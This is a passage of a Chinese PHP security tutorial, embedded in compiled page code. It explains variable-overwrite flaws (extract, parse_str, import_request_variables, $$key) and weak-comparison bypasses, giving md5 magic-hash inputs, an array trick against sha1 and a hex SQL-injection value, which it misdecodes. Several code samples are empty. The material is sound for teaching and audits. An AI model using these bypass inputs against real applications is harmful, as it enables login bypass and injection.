prefix\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_INVALID - \u4ec5\u5728\u4e0d\u5408\u6cd5\u6216\u6570\u5b57\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u8986\u76d6\u5b83\u4eec\u7684\u503c\u3002\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_PREFIX_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u5efa\u7acb\u9644\u52a0\u4e86\u524d\u7f00\u7684\u53d8\u91cf\u540d\uff0c\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(n.li,{children:"EXTR_REFS - \u5c06\u53d8\u91cf\u4f5c\u4e3a\u5f15\u7528\u63d0\u53d6\u3002\u5bfc\u5165\u7684\u53d8\u91cf\u4ecd\u7136\u5f15\u7528\u4e86\u6570\u7ec4\u53c2\u6570\u7684\u503c\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.li,{children:"prefix\uff1a\u53ef\u9009\u3002\u5982\u679c extract_rules \u53c2\u6570\u7684\u503c\u662f EXTR_PREFIX_SAME\u3001EXTR_PREFIX_ALL\u3001 EXTR_PREFIX_INVALID \u6216 EXTR_PREFIX_IF_EXISTS\uff0c\u5219 prefix \u662f\u5fc5\u9700\u7684\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:' "red",\n "size" => "medium",\n "name" => "dog");\n extract($one_array);\n echo "$color, $size, $name";\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nred, medium, dog\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e0a\u8ff0\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u770b\u5230\uff0c\u672c\u6765\u6211\u4eec\u5b9a\u4e49\u7684color\u662fblue\uff0c\u8f93\u51fa\u7684\u65f6\u5019\u53d8\u6210\u4e86red\uff0c\u672c\u6765\u6211\u4eec\u6ca1\u6709\u5b9a\u4e49size\u548cname\uff0c\u53ef\u662f\u5374\u80fd\u8f93\u51fa\u8fd9\u4e24\u4e2a\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd8\u6709\u4e00\u4e9b\u5728CTF\u6bd4\u8d5b\u4e2d\u51fa\u73b0\u8fc7\u7684\u7528\u6cd5\uff0c\u6bd4\u5982\u76f4\u63a5\u8ba9\u4f60POST\u4f20\u53c2\u6765\u6539\u53d8\u67d0\u4e2a\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53c2\u65f6\u5982\u679c\u6211\u4eecPOST\u4f20\u5165name=dog\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u4f1a\u56de\u663edog\uff0c\u8bf4\u660e\u8fd9\u4e2a\u51fd\u6570\u7684\u4f7f\u7528\u8ba9\u6211\u4eec\u5b9e\u73b0\u4e86\u53d8\u91cf\u7684\u8986\u76d6\uff0c\u6539\u53d8\u4e86\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"parse_str",children:"parse_str()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u628a\u67e5\u8be2\u5230\u7684\u5b57\u7b26\u4e32\u89e3\u6790\u5230\u53d8\u91cf\u4e2d\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"parse_str(string,array)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-26",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"string\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u89e3\u6790\u7684\u5b57\u7b26\u4e32\u3002"}),"\n",(0,r.jsx)(n.li,{children:"array\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u5b58\u50a8\u53d8\u91cf\u7684\u6570\u7ec4\u540d\u79f0\u3002\u8be5\u53c2\u6570\u53ea\u662f\u53d8\u91cf\u5b58\u50a8\u5230\u6570\u7ec4\u4e2d\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b:"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [name] => Ameng\n [sex] => boy\n)\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u4e0a\u8ff0\u4ee3\u7801\u662f\u6709array\u60c5\u51b5\u4e0b\u7684\u4f7f\u7528\u60c5\u51b5\uff0c\u90a3\u4e48\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u5982\u679c\u6ca1\u6709array \u53c2\u6570\uff0c\u5219\u7531\u8be5\u51fd\u6570\u8bbe\u7f6e\u7684\u53d8\u91cf\u5c06\u8986\u76d6\u5df2\u5b58\u5728\u7684\u540c\u540d\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nAmeng, \n"})}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u53d8\u91cfname\u548cage\u90fd\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u88ab\u65b0\u7684\u503c\u8986\u76d6\u4e86\u3002\u8fd9\u91cc\u6211\u7528\u7684\u662f PHP 7.4.3 \u7248\u672c\u3002\u53d1\u73b0\u8fd9\u4e2a\u51fd\u6570\u7684\u8fd9\u4e2a\u4f5c\u7528\u8fd8\u662f\u5b58\u5728\u7684\uff0c\u4e14\u6ca1\u6709\u4efb\u4f55\u5371\u9669\u63d0\u793a\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"import_request_variables",children:"import_request_variables()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u5c06GET/POST/Cookie\u53d8\u91cf\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u4e2d\u3002\u4ece\u800c\u80fd\u591f\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7248\u672c\u8981\u6c42\uff1aPHP 4 >= 4.1.0, PHP 5 < 5.4."}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"bool import_request_variables ( string $types [, string $prefix ] )\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-27",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"types\uff1a\u6307\u5b9a\u9700\u8981\u5bfc\u5165\u7684\u53d8\u91cf\uff0c\u53ef\u4ee5\u7528\u5b57\u6bcd G\u3001P \u548c C \u5206\u522b\u8868\u793a GET\u3001POST \u548c Cookie\uff0c\u8fd9\u4e9b\u5b57\u6bcd\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u4f7f\u7528 g \u3001 p \u548c c \u7684\u4efb\u4f55\u7ec4\u5408\u3002POST \u5305\u542b\u4e86\u901a\u8fc7 POST \u65b9\u6cd5\u4e0a\u4f20\u7684\u6587\u4ef6\u4fe1\u606f\u3002\u6ce8\u610f\u8fd9\u4e9b\u5b57\u6bcd\u7684\u987a\u5e8f\uff0c\u5f53\u4f7f\u7528 gp \u65f6\uff0cPOST \u53d8\u91cf\u5c06\u4f7f\u7528\u76f8\u540c\u7684\u540d\u5b57\u8986\u76d6 GET \u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(n.li,{children:"prefix\uff1a\u53d8\u91cf\u540d\u7684\u524d\u7f00\uff0c\u7f6e\u4e8e\u6240\u6709\u88ab\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u7684\u53d8\u91cf\u4e4b\u524d\u3002\u6240\u4ee5\u5982\u679c\u4f60\u6709\u4e2a\u540d\u4e3a userid \u7684 GET \u53d8\u91cf\uff0c\u540c\u65f6\u63d0\u4f9b\u4e86 pref_ \u4f5c\u4e3a\u524d\u7f00\uff0c\u90a3\u4e48\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a\u540d\u4e3a $pref_userid \u7684\u5168\u5c40\u53d8\u91cf\u3002\u867d\u7136 prefix \u53c2\u6570\u662f\u53ef\u9009\u7684\uff0c\u4f46\u5982\u679c\u4e0d\u6307\u5b9a\u524d\u7f00\uff0c\u6216\u8005\u6307\u5b9a\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u524d\u7f00\uff0c\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a E_NOTICE \u7ea7\u522b\u7684\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c\u4ec0\u4e48\u53d8\u91cf\u4e5f\u4e0d\u4f20\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u56de\u663e",(0,r.jsx)(n.code,{children:"You are not Ameng"}),"\u5982\u679c\u901a\u8fc7GET\u6216\u8005POST\u4f20\u5165",(0,r.jsx)(n.code,{children:"name=Ameng"}),"\u90a3\u4e48\u9875\u9762\u5c31\u4f1a\u56de\u663e",(0,r.jsx)(n.code,{children:"Ameng"})]}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u89c1\u5230\u6b64\u51fd\u6570\u8fd8\u662f\u5f88\u5371\u9669\u7684\uff0c\u6ca1\u6709\u4fee\u590d\u65b9\u6cd5\uff0c\u4e0d\u4f7f\u7528\u5c31\u662f\u6700\u597d\u7684\u65b9\u6cd5\u3002\u6240\u4ee5\u5728\u65b0\u7248\u672c\u7684 PHP \u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86\u8fd9\u4e2a\u51fd\u6570\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"foreach",children:"foreach()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"foreach"})," \u8bed\u6cd5\u7ed3\u6784\u63d0\u4f9b\u4e86\u904d\u5386\u6570\u7ec4\u7684\u7b80\u5355\u65b9\u5f0f\u3002",(0,r.jsx)(n.code,{children:"foreach"})," \u4ec5\u80fd\u591f\u5e94\u7528\u4e8e\u6570\u7ec4\u548c\u5bf9\u8c61\uff0c\u5982\u679c\u5c1d\u8bd5\u5e94\u7528\u4e8e\u5176\u4ed6\u6570\u636e\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u6216\u8005\u672a\u521d\u59cb\u5316\u7684\u53d8\u91cf\u5c06\u53d1\u51fa\u9519\u8bef\u4fe1\u606f\u3002\u6709\u4e24\u79cd\u8bed\u6cd5\uff1a"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"foreach (array_expression as $value)\n statement\nforeach (array_expression as $key => $value)\n statement\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u7b2c\u4e00\u79cd\u683c\u5f0f\u904d\u5386\u7ed9\u5b9a\u7684 array_expression \u6570\u7ec4\u3002\u6bcf\u6b21\u5faa\u73af\u4e2d\uff0c\u5f53\u524d\u5355\u5143\u7684\u503c\u88ab\u8d4b\u7ed9 $value \u5e76\u4e14\u6570\u7ec4\u5185\u90e8\u7684\u6307\u9488\u5411\u524d\u79fb\u4e00\u6b65\uff08\u56e0\u6b64\u4e0b\u4e00\u6b21\u5faa\u73af\u4e2d\u5c06\u4f1a\u5f97\u5230\u4e0b\u4e00\u4e2a\u5355\u5143\uff09\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7b2c\u4e8c\u79cd\u683c\u5f0f\u505a\u540c\u6837\u7684\u4e8b\uff0c\u53ea\u662f\u9664\u4e86\u5f53\u524d\u5355\u5143\u7684\u952e\u540d\u4e5f\u4f1a\u5728\u6bcf\u6b21\u5faa\u73af\u4e2d\u88ab\u8d4b\u7ed9\u53d8\u91cf $key\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u6211\u4eec\u6765\u770b\u4e2a\u6848\u4f8b."}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" $value)\t{ \n $$key = $value; \n } \n if($name == \"Ameng\"){\n echo 'You are right!';\n }\n\telse{\n echo 'You are flase!';\n }\n?>\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u90a3\u4e48\u6267\u884c\u7ed3\u679c\u662f\u600e\u6837\u7684\u5462\uff1f\u5f53\u6211\u4eec\u76f4\u63a5\u6253\u5f00\u9875\u9762\u7684\u65f6\u5019\u5b83\u4f1a\u8f93\u51fa",(0,r.jsx)(n.code,{children:"You are false!"}),",\u800c\u5f53\u6211\u4eec\u901a\u8fc7GET\u4f20\u53c2",(0,r.jsx)(n.code,{children:"name=Ameng"}),"\u7684\u65f6\u5019\uff0c\u5b83\u4f1a\u56de\u663e",(0,r.jsx)(n.code,{children:"You are right!"}),"\u3002\u90a3\u4e48\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u6211\u4eec\u6765\u5206\u6790\u4e00\u4e0b"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e",(0,r.jsx)(n.code,{children:"$$"}),"\u8fd9\u79cd\u5199\u6cd5\u3002\u8fd9\u79cd\u5199\u6cd5\u79f0\u4e3a\u53ef\u53d8\u53d8\u91cf\u3002\u4e00\u4e2a\u53d8\u91cf\u80fd\u591f\u83b7\u53d6\u4e00\u4e2a\u666e\u901a\u53d8\u91cf\u7684\u503c\u4f5c\u4e3a\u8fd9\u4e2a\u53ef\u53d8\u53d8\u91cf\u7684\u53d8\u91cf\u540d\u3002\u5f53\u4f7f\u7528",(0,r.jsx)(n.code,{children:"foreach"}),"\u6765\u904d\u5386\u6570\u7ec4\u4e2d\u7684\u503c\uff0c\u7136\u540e\u518d\u5c06\u83b7\u53d6\u5230\u7684\u6570\u7ec4\u952e\u540d\u4f5c\u4e3a\u53d8\u91cf\uff0c\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u4f5c\u4e3a\u53d8\u91cf\u7684\u503c\u3002\u8fd9\u6837\u5c31\u4ea7\u751f\u4e86\u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\uff0c\u5982\u4e0a\u4ee3\u7801\u793a\u4f8b\u3002\u5176\u6267\u884c\u8fc7\u7a0b\u4e3a",(0,r.jsx)(n.code,{children:"$$key"}),"=",(0,r.jsx)(n.code,{children:"$name"}),"\uff0c\u6700\u540e\u8d4b\u503c\u4e3a",(0,r.jsx)(n.code,{children:"$value"}),"\uff0c\u4ece\u800c\u5b9e\u73b0\u4e86\u53d8\u91cf\u8986\u76d6\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u5f31\u7c7b\u578b\u6bd4\u8f83",children:"\u5f31\u7c7b\u578b\u6bd4\u8f83"}),"\n",(0,r.jsx)(n.h4,{id:"md5\u51fd\u6570\u548csha1\u7ed5\u8fc7",children:"md5()\u51fd\u6570\u548csha1()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(n.p,{children:"\u5173\u4e8e\u8fd9\u4e24\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u4e0d\u964c\u751f\uff0c\u65e0\u8bba\u662f\u5728\u5b9e\u9645\u4ee3\u7801\u5ba1\u8ba1\u4e2d\uff0c\u8fd8\u662f\u5728CTF\u6bd4\u8d5b\u4e2d\uff0c\u8fd9\u4e9b\u6211\u4eec\u90fd\u662f\u78b0\u5230\u8fc7\u7684\u51fd\u6570\u3002\u90a3\u4e48\u5f53\u6211\u4eec\u9047\u5230\u7528\u8fd9\u4e24\u4e2a\u51fd\u6570\u6765\u5224\u65ad\u7684\u65f6\u5019\uff0c\u5982\u679c\u7ed5\u8fc7\u5462\uff1f"}),"\n",(0,r.jsxs)(n.p,{children:["PHP \u5728\u5904\u7406\u54c8\u5e0c\u5b57\u7b26\u4e32\u7684\u65f6\u5019\uff0c\u4f1a\u4f7f\u7528",(0,r.jsx)(n.code,{children:"!="}),"\u6216\u8005",(0,r.jsx)(n.code,{children:"=="}),"\u6765\u5bf9\u54c8\u5e0c\u503c\u8fdb\u884c\u6bd4\u8f83\uff0c\u5b83\u4f1a\u628a\u6bcf\u4e00\u4e2a",(0,r.jsx)(n.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u90fd\u89e3\u91ca\u4e3a0\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\uff0c\u7ecf\u8fc7\u54c8\u5e0c\u4ee5\u540e\u5b83\u4eec\u90fd\u53d8\u6210\u4e86",(0,r.jsx)(n.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\uff0c\u90a3\u4e48 PHP \u5c31\u4f1a\u5c06\u5b83\u4eec\u89c6\u4f5c\u76f8\u7b49\u5904\u7406\u3002\u90a3\u4e48",(0,r.jsx)(n.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u6709\u54ea\u4e9b\u5462\uff1f"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-text",children:"s878926199a\n0e5459932745177090343288558410s155964671a\n0e3427684168224515249741172544s214587387a\n0e8482404488305379244658656119s214587387a\n0e8482404488305379244658656119s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s1885207154a\n0e5093672134182067008420087635s1502113478a\n0e8615801632915612474043813960s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s155964671a\n0e3427684168224515249741172544s1184209335a\n0e0724858203927733895231090820s1665632922a\n0e7311980614911630731971283637s1502113478a\n0e8615801632915612474043813960s1836677006a\n0e4810364908676611132600349007s1091221200a\n0e9406242178565615578163273846s155964671a\n0e3427684168224515249741172544s1502113478a\n0e8615801632915612474043813960s155964671a\n0e3427684168224515249741172544s1665632922a\n0e7311980614911630731971283637s155964671a\n0e3427684168224515249741172544s1091221200a\n0e9406242178565615578163273846s1836677006a\n0e4810364908676611132600349007s1885207154a\n0e5093672134182067008420087635s532378020a\n0e2204630958555115075880412058s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s214587387a\n0e8482404488305379244658656119s1502113478a\n0e8615801632915612474043813960s1091221200a\n0e9406242178565615578163273846s1665632922a\n0e7311980614911630731971283637s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s1665632922a\n0e7311980614911630731971283637s878926199a\n0e5459932745177090343288558410\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6765\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u5427"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u4e0a\u9762\u6211\u7ed9\u51fa\u7684\u54ea\u4e9b\u503c\u4e2d\uff0c\u6311\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\u4f20\u5165\u53c2\u6570\uff0c\u5c31\u80fd\u770b\u5230\u76f8\u5e94\u7684\u7ed3\u679c"}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0a\u9762\u662f",(0,r.jsx)(n.code,{children:"md5()"}),"\u51fd\u6570\u7684\u7ed5\u8fc7\u59ff\u52bf\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"sha1()"}),"\u5982\u4f55\u7ed5\u8fc7\u5462\uff1f\u518d\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5f53\u6211\u4eec\u4f20\u5165",(0,r.jsx)(n.code,{children:"a[]=1&b[]=2"}),"\u7684\u65f6\u5019\uff0c\u867d\u7136\u5b83\u4f1a\u7ed9\u51fa\u8b66\u544a\uff0c\u8bf4\u6211\u4eec\u5e94\u8be5\u4f20\u5165\u5b57\u7b26\u4e32\u800c\u4e0d\u5e94\u8be5\u662f\u6570\u7ec4\uff0c\u4f46\u662f\u5b83\u8fd8\u662f\u8f93\u51fa\u4e86",(0,r.jsx)(n.code,{children:"nice!!!"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u7528\u6570\u5b57\u6765\u7ed5\u8fc7",(0,r.jsx)(n.code,{children:"sha1()"}),"\u51fd\u6570\u7684\u6bd4\u8f83\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"is_numeric\u7ed5\u8fc7",children:"is_numeric()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u5148\u6765\u4e86\u89e3\u4e00\u4e0b\u8fd9\u4e2a\u51fd\u6570\u3002\u6b64\u51fd\u6570\u662f\u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"is_numeric( mixed $var) : bool\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c",(0,r.jsx)(n.code,{children:"var"}),"\u662f\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32\u90a3\u4e48\u5c31\u8fd4\u56deTRUE\uff0c\u5426\u5219\u5c31\u8fd4\u56deFALSE\u3002\u90a3\u4e48\u8fd9\u91cc\u8bf4\u7684\u7ed5\u8fc7\u662f\u4ec0\u4e48\u59ff\u52bf\u5462\uff1f\u662f\u5341\u516d\u8fdb\u5236\u3002\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nIt meets my requirement\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u91cc\u8bf4\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"0x31206f722031"}),"\u8fd9\u4e2a\u662f\u4ec0\u4e48\uff1f\u8fd9\u4e2a\u662f",(0,r.jsx)(n.code,{children:"or 1=1"}),"\u7684\u5341\u516d\u8fdb\u5236\uff0c\u4ece\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\uff0c\u5982\u679c\u67d0\u5904\u4f7f\u7528\u4e86\u6b64\u51fd\u6570\uff0c\u5e76\u5c06\u4fee\u9970\u540e\u7684\u53d8\u91cf\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u80fd\u5229\u7528\u6b64\u6f0f\u6d1e\u5b9e\u73b0sql\u6ce8\u5165\u3002\u540c\u6837\u7684\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u518dCTF\u6bd4\u8d5b\u4e2d\u4e5f\u662f\u5f88\u5e38\u89c1\u7684\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"in_array\u7ed5\u8fc7",children:"in_array()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u68c0\u6d4b\u6570\u7ec4\u4e2d\u662f\u5426\u5b58\u5728\u67d0\u4e2a\u503c\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-28",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"needle\uff1a\u5e26\u641c\u7d22\u7684\u503c(\u533a\u5206\u5927\u5c0f\u5199)\u3002"}),"\n",(0,r.jsx)(n.li,{children:"haystack\uff1a\u5e26\u641c\u7d22\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(n.li,{children:["strict\uff1a\u82e5\u6b64\u53c2\u6570\u7684\u503c\u4e3aTRUE\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"in_array()"}),"\u51fd\u6570\u5c06\u4f1a\u68c0\u67e5needle\u7684\u7c7b\u578b\u662f\u5426\u548chaystack\u4e2d\u7684\u7c7b\u578b\u76f8\u540c\u3002"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6709\u65f6\u5019\u6211\u4eec\u518d\u4f20\u5165\u4e00\u4e2a\u6570\u7ec4\u7684\u65f6\u5019\uff0c\u4ee3\u7801\u53ef\u80fd\u4f1a\u8fc7\u6ee4\u67d0\u4e9b\u654f\u611f\u5b57\u7b26\u4e32\uff0c\u4f46\u662f\u6211\u4eec\u53c8\u9700\u8981\u4f20\u5165\u8fd9\u6837\u7684\u5b57\u7b26\u4e32\uff0c\u90a3\u4e48\u6211\u4eec\u5e94\u8be5\u5982\u4f55\u7ed5\u8fc7\u5b83\u7684\u68c0\u6d4b\u5462\uff1f"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u6267\u884c\u7684\u7ed3\u679c\u4f1a\u662f\u4ec0\u4e48\u5462\uff1f\u4ece\u7b80\u5355\u7684\u903b\u8f91\u4e0a\u5206\u6790\u30020\u662f\u4e0d\u5b58\u5728\u8981\u641c\u7d22\u7684\u6570\u7ec4\u4e2d\u7684\uff0c\u6240\u4ee5\u7406\u8bba\u4e0a\uff0c\u5e94\u8be5\u662f\u8f93\u51fa",(0,r.jsx)(n.code,{children:"not in array"}),"\uff0c\u4f46\u662f\u5b9e\u9645\u5374\u8f93\u51fa\u4e86",(0,r.jsx)(n.code,{children:"It's in array"}),"\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u539f\u56e0\u5c31\u5728\u4e8ePHP\u7684\u9ed8\u8ba4\u7c7b\u578b\u8f6c\u6362\u3002\u8fd9\u91cc\u6211\u4eec\u7b2c\u4e09\u4e2a\u53c2\u6570\u5e76\u6ca1\u6709\u8bbe\u7f6e\u4e3a",(0,r.jsx)(n.code,{children:"true"}),"\u90a3\u4e48\u9ed8\u8ba4\u5c31\u662f\u975e\u4e25\u683c\u6bd4\u8f83\uff0c\u6240\u4ee5\u5728\u6570\u5b57\u4e0e\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83\u65f6\uff0c\u5b57\u7b26\u4e32\u5148\u88ab\u5f3a\u5236\u8f6c\u6362\u6210\u6570\u5b57\uff0c\u7136\u540e\u518d\u8fdb\u884c\u6bd4\u8f83\u3002\u5e76\u4e14\u56e0\u4e3a\u67d0\u4e9b\u7c7b\u578b\u8f6c\u6362\u6b63\u5728\u53d1\u751f\uff0c\u5c31\u4f1a\u5bfc\u81f4\u53d1\u751f\u6570\u636e\u4e22\u5931\uff0c\u5e76\u4e14\u90fd\u88ab\u89c6\u4e3a\u76f8\u540c\u3002\u6240\u4ee5\u5f52\u6839\u5230\u5e95\u8fd8\u662f\u975e\u4e25\u683c\u6bd4\u8f83\u5bfc\u81f4\u7684\u95ee\u9898\u3002\u6240\u4ee5\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7528\u6765\u53d8\u91cf\u68c0\u6d4b\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u5426\u5f00\u542f\uff0c\u82e5\u672a\u5f00\u542f\uff0c\u5219\u5b58\u5728\u6570\u7ec4\u7ed5\u8fc7\u3002